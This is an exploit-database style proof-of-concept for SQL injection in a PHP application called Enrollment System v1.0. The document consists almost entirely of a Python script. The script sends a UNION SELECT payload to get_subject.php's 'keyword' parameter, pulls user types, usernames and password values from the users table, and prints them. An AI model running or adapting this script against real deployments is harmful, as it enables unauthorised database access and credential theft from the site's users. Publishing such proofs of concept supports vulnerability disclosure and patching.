Enrollment System v1.0 - SQL Injection

# Exploit Title: Enrollment System v1.0 - SQL Injection
# Date: 27 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: Obi08
# Vendor Homepage: https://github.com/Obi08/Enrollment_System
# Software Link: https://github.com/Obi08/Enrollment_System
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

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from bs4 import BeautifulSoup
import requests
import urllib3

#The Config class defines three class attributes: BASE_URL, URI, and PAYLOAD.

#BASE_URL is set to the string "http://localhost/enrollment_system".
#URI is set to the string "/get_subject.php".
#PAYLOAD is set to the string "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -".

class Config:
    BASE_URL = "http://localhost/enrollment_system"
    URI = '/get_subject.php'
    PAYLOAD = "emc' union select 1,concat(user_type,'::',username,'::',password),3,4,5,6 from users-- -"

urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

#This code defines a function called exploit_sqli that exploits a SQL injection vulnerability in a given URL. It takes in a requests.Session object and a Config object as parameters. The function constructs a URL using the BASE_URL and URI properties from the Config object, and creates a dictionary of parameters with a key of 'keyword' and a value of the PAYLOAD property from the Config object.
#The function then tries to make a request using the make_request function and returns the response text if successful. If an exception is raised during the request, it prints an error message and returns an empty string.

def exploit_sqli(session: requests.Session, config: Config) -> str:
    """
    Exploits SQL injection vulnerability in the given URL.

    Args:
        session (requests.Session): The session object to use for making the request.
        config (Config): Configuration object containing base URL, URI, and payload.

    Returns:
        str: The response text from the request.
    """
    url = f"{config.BASE_URL}{config.URI}"
    params = {'keyword': config.PAYLOAD}
    
    try:
        response = make_request(session, url, params)
        return response.text
    except requests.RequestException as e:
        print(f"Request failed: {e}")
        return ""
    
#This code defines a function called make_request that takes in a requests.Session object, a URL string, and a dictionary of parameters. It makes a POST request using the provided session and parameters, and returns the response object. The function has type hints indicating the types of the arguments and the return value.    

def make_request(session: requests.Session, url: str, params: dict) -> requests.Response:
    """
    Make a POST request with error handling.

    Args:
        session (requests.Session): The session object to use for making the request.
        url (str): The URL to send the request to.
        params (dict): The parameters to include in the request.

    Returns:
        requests.Response: The response object.
    """
    return session.post(url, data=params, verify=False, proxies=proxies)

#This code snippet defines a function called parse_html that takes a string parameter response_text. It uses the BeautifulSoup library to parse the HTML in response_text and extract specific data from it. It finds all <tr> elements in the HTML, skips the header row, and then iterates over the remaining rows. For each row, it finds all <td> elements and extracts the text content from the second and third column. Finally, it prints a formatted string that includes the extracted data.

def parse_html(response_text: str):
    soup = BeautifulSoup(response_text, 'html.parser')
    rows = soup.find_all('tr')[1:]  # Skip the header row

    for row in rows:
        columns = row.find_all('td')
        if columns:
            subject_code = columns[1].text.strip()
            subject_description = columns[2].text.strip()
            print(f"User_Type::Username::Password == {subject_code}")

if __name__ == "__main__":
    # file deepcode ignore MissingClose: <please specify a reason of ignoring this>
    session = requests.Session()
    response = exploit_sqli(session, Config)
    
    if response:
        parse_html(response)